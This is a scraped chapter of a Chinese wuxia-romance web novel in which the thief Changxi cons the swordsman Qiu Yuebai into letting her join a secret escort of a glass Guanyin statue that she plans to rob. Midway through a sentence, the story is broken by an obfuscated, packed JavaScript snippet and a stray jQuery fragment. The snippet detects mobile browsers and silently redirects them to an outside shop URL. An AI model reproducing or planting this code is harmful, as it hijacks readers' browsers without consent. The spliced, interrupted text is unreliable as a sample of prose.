文趣网 > 其他小说 > 替身造反手册 > 39.拴猴
    长息一把收起那把写着“秘”字的折扇,笑嘻嘻地将桌上的两枚铜钱顺入袖中,朝着周边热闹的人挥了挥手,“散了散了!”

    她抬起头,一双眼睛亮晶晶地盯着眼前的贵公子,“好说,好说。这位少侠,大街上人多嘴杂,咱们换个清净地儿?”

    半个时辰后,洛京城南龙栖茶楼。

    这茶楼平日里只接清贵雅客,寻常江湖人连门槛都摸不到。此刻二楼最里间的雅座里,却额外落座了个与此地格格不入的人。

    秋月白正襟危坐,脊背挺拔如松。他安静地看着对面正风卷残云般扫荡着桌上桂花糖饼的长息,眉头微不可察地蹙了蹙。

    这女子吃相实在算不上文雅,活脱脱像个饿了三天的街头叫花子,可偏偏她眉宇间又透着一股子野草般生机勃勃的劲,并不叫人讨厌。

    秋月白自幼在京城的世家堆里长大,见惯了端庄典雅的贵女,稍长些又拜入听雪山庄,更是江湖有头有脸的剑庄,如今他倒觉得眼前的小贼粗鄙得新鲜。

    他耐着性子,用修长匀称、不带一点粗茧的手指提起紫砂壶,将刚沏好的碧螺春倒入茶盏,推到她手边:“慢些吃,没人和你抢。”

    “嗝……”长息瞥了一眼他从容又居高临下的模样,顿觉自己好似一个路边的野猫野狗,碰巧遇见了从高门大户走出来的公子哥施舍。

    她从心底暗哼一声,很不客气地灌了口茶,被烫了个激灵,又没憋住自己的浑劲,当即眼睛一瞪,责备般道:“烫死了!”

    她拿袖子抹了抹嘴上的糕点屑,眉头一拧又飞速展开,方才细微的怒气和嘴边的饼屑一样无影无踪了。

    她的头脑飞速运转。自己根本不知道钱家丢没丢东西,有没有人算计,但既然秋月白肯花二十文钱坐在这里,就说明他心里有鬼。

    “……抱歉。”秋月白淡淡道了句歉。

    他语气礼貌客气,带着一种克制的涵养,他其实也没必要道歉的。秋雨白回过神来,正色道,“少侠,现在可以告诉我吗?钱家究竟丢了什么,或是……谁要夺宝?”

    长息故作高深地压低了声音,身子往前探了探:“你既然认识钱家,又总在钱家大宅和珍宝楼附近转悠,就该知道珍宝楼最近有一批极重要的货要出京吧?”

    秋月白端茶的手微微一顿,清冷的眸光中瞬间闪过一丝锐利的防备,但他掩饰得极好,面上依旧波澜不惊。

    他接下珍宝楼这一趟暗镖,本是机缘巧合。他出身西北官宦之家,母亲乃是朝中重臣。近期朝堂党争波谲云诡,母亲被江南的政敌罗织罪名,企图将秋家连根拔起。为了自保和反击,母亲动用了一切暗线,终于搜罗到了政敌贪污谋逆的铁证——一本记录十年来江南重要财政明细的账册。

    现今,这本账册被秘密送到了洛京的珍宝楼。

    秋月白生性不羁,虽也善读书,却不愿在母亲的蒙荫之下入朝做官。他十岁便拜入听雪山庄学剑,离开师门后,更是偏爱游侠生活,不时会去师兄的镖局里帮忙送镖。

    此次他是跟着镖局走镖的友人一同回到洛京,恰巧发现这一趟镖的目的地正是自己家在灵台的老宅,镖物是珍宝楼的一座“琉璃净白观音”。秋月白与母亲共处的时间不多,却也知道她的心性和作派。母亲久居京城,鲜少回到老宅,更不喜珍宝。

    他顿感事情有异,连忙奔去家中询问母亲。时任三司使的秋鸿不愿让刚过弱冠的独子插手此事,却拗不过秋月白。母子间几番拉锯过后,秋鸿败下阵来,告知了秋月白真相。

    观音像只是个幌子,这一趟镖真正的标物,是藏在观音像底座暗格里的那本账册,这是她秋氏在朝堂翻身的关键。而现在,秋月白进入了到了送镖的队伍之中,他要亲自保母亲的官位,保自家的太平。

    此事天知地知,珍宝楼掌柜知,秋鸿知,秋月白知。可眼前这来路不明、手脚还不干净的小毛贼,是如何得知的?秋月白想不明白,难道是中间有什么地方出了岔子?

    “有人盯上了这批货。”长息见他默不作声,知道自己瞎猫碰上死耗子,彻底蒙对了。她继续信口胡诌,语气却笃定得很,“我这消息可是千真万确,□□上已经有人放了话,要在出京的路上动手。你若是钱家的朋友,或者干脆就是那趟镖的镖师,不如早做打算。”

    秋月白定定地看着她,心下百转千回。

    按他往常的脾气,此等信口雌黄的小贼,他只需一剑就能逼出对方的底细。可看着长息那张稚气未脱的脸,和她腰间那把劣质的短刀,他又生出一丝迟疑和怜悯。

    这世道险恶,而她如此年轻,独自在江湖漂泊。虽有一点上不得台面的小聪明,也只能沦为盗窃之徒,甚至招摇撞骗——秋月白心中暗叹。

    他与生俱来的侠义和上位者的悲悯之心,在这一刻占了上风。他以为长息是在街头巷尾那些下九流的地方,偶然听到了什么风声,想借此来讹点钱财。

    若任由她在洛京胡混,迟早横尸街头。若能将她带在身边,悉心教导,引她走上正途,未尝不是一桩功德。更何况,将她放在眼皮子底下,也能防备她将消息泄露出去。

    “你想要什么?”秋月白缓声问道,语气中少了几分戒备,多了一丝宽纵。

    “我要上珍宝楼第五层看看!”长息眼底光芒一闪,露出狐狸尾巴尖,“而且,我要入伙!你们既然要运宝,算我一个趟子手,工钱你看着给。有我在,我能帮你们避开那些江湖毛贼。”

    秋月白看着她那副财迷心窍却又坦坦荡荡的模样,忽然轻笑了一声,驱散了身上的距离感。

    既然她想玩,陪她玩玩又何妨?这趟镖本就层层保密,得知真相者甚少,况且镖师都是江湖上一顶一的好手。以自己的武功和家世,护她一个小丫头,不过顺手为之。

    他会帮她的,如果她愿意,他会带她入行,给她引路。自己作为比她阅历多得多的江湖客,理应做到这些。

    “好,我答应你。”

    ——

    第二日,长息如愿以偿地站在了珍宝楼的第五层。

    第五层守卫森严,三步一岗五步一哨,权势精兵悍卒。若是没有秋月白带路,自己要混进来真是要费些工夫。珍宝楼的掌柜听闻秋公子要来,更是亲自引路,十分敬畏。

    掌柜推开厚重的红木门,三人踩着柔软无声的西域氆氇踏入屋内,犹如来到了神仙的藏宝阁,长息觉得自己的眼睛都不够用了。

    紫檀木的博古架上,摆放着鸽血红的宝石、巴掌大的夜明珠,还有她日思夜想的机巧暗器——薄如蝉翼的精钢软剑、能瞬间发射十枚透骨钉的机括护腕……

    “瞧你那点出息。”秋月白闲庭信步地走在她身侧,看着长息对着一屋子珍宝狂咽口水,忍不住出言调侃。

    “你懂什么,这都是钱啊!白花花的银子!”长息毫不掩饰自己的市侩,凑到一个竖立的的紫檀木箱前,木箱紧紧锁死,不知藏着什么秘密。

    秋月白上前,拿出了一只精巧的金钥匙,打开了木箱的前门。

    只见箱内垫着厚厚的明黄色棉绸,里面端坐着一尊通体晶莹剔透的坐姿琉璃观音,这观音有人小臂那么高,乍一看是净白色的,却随着光线和观察角度的转变变得流光溢彩。

    “这就是咱们要保的镖?”长息伸手摸了摸木箱的边缘,手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772005|208201||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    指在箱底的木纹上看似不经意地敲了敲。声音却并不似看上去那么沉闷。她不动声色地收回手。

    秋月白站在一旁,没屑于留意长息的小动作,他点了点头:“不错,这尊观音价值连城,我们要将它安然无恙地护送到灵台。此行凶险,你既然要跟去,便不能再用那把破刀了。”

    说罢,他向掌柜招了招手。少顷,掌柜捧着一个锦盒恭敬地呈上。秋月白指尖一挑,盒盖摊开,里面静卧着一把短匕首。匕首没有繁复的花纹,通体乌黑,刃口处却淬着霜雪般的寒芒。

    “此匕首是玄铁打造,用漠北独特的淬炼工艺制成,没有名字,但削铁如泥。”秋月白把匕首递给长息,语气平淡得仿佛在送一颗白菜,“送你。当作我提前预支给你的工钱。”

    长息结果匕首端详,只见寒光一闪,刃口锋利无比,端的是一把神兵利器。她自己手上力气小,对于兵器也不甚挑剔,本也想在珍宝楼买一把趁手的,奈何还没攒够那么多银子。

    而此等绝佳的兵刃,少说也要几百两雪花银,若是放在黑市上,更是千金难求。

    ——这大少爷真是个人傻钱多的冤大头啊!

    她心里乐开了花,面上却装出一副受宠若惊的浮夸模样,猛地凑近秋月白,用胳膊撞了他胸口一下,笑得见牙不见眼,又抱拳一拜:“多谢秋少侠!少侠仗义疏财,长息定当肝脑涂地,死而后已!”

    少年骤然拉近的距离让秋月白呼吸一滞。她身上没有名门闺秀的熏香,只有淡淡的皂角味和一丝不知名的草木香。那双狐狸眼弯成了月牙,满是毫不掩饰的狡黠。

    秋月白下意识捂了捂刚刚被她撞击过的胸口,心头莫名一软,无奈地摇了摇头。

    送镖的日子定在三日后。

    长息白日里跟着秋月白四处游玩见世面,夜里就偷偷潜进万宝楼和钱家大宅过眼瘾。秋月白见她哈欠连天,不由得询问她夜里都在做什么,长息只摆摆手,道他不懂自己这种小地方来的人,来了城里会睡不着觉的。

    秋月白闻言淡然一笑,也不戳破她的小谎。

    秋月白此人行事从容得体,言语也分寸有度,出手更是阔绰得令人发指,长息对什么东西多看了两眼,他便会买下,平日里买些吃的喝的和小玩意,更是连找零都懒得要。懒得动弹时,还会专门花钱请人跑腿,买好送上门来……至于武功嘛,也还算有点本事。

    而最令人惊奇咋舌的是,他对于长息的狗脾气有着超乎寻常的容忍度,连长息都好奇这是为什么,毕竟连自己的师母都时常忍不住拿水瓢敲她的头。

    难道是因为他的家教不允许他对别人发难吗?

    如此倒是更好,长息乐得自在,不仅吃他的喝他的,还要冲他不时发点脾气。有时她会故意装作生气的样子看他的反应,看秋月白端着架子、紧咬牙关不让自己发作的样子,真是分外有趣。

    且自从那日秋月白给她倒茶 ,烫了她的尊口,后面每次吃饭,这大少爷竟然都记得把茶给她晾凉了才递过来。

    长息不由得在心中叹息,秋月白当真是少爷身子,奴才的命。

    出发前的几日,秋月白还体贴地带她去见了其他的镖师和车夫,他虽年纪不大,在队伍中也颇有声望,谁见了都得恭恭敬敬地喊一声“秋公子”。

    长息把一切尽收眼底,嘴角勾起不易察觉的微笑。

    这就是一个猴一个拴法吗?长息觉得自己天生克他,这一把肯定稳了。

    秋月白呀秋月白,遇见我,算你倒霉吧。长息暗忖,她可不是老老实实送镖的,更不是跟在大少爷屁股后面混饭吃的。

    这一趟肥镖,她劫定了。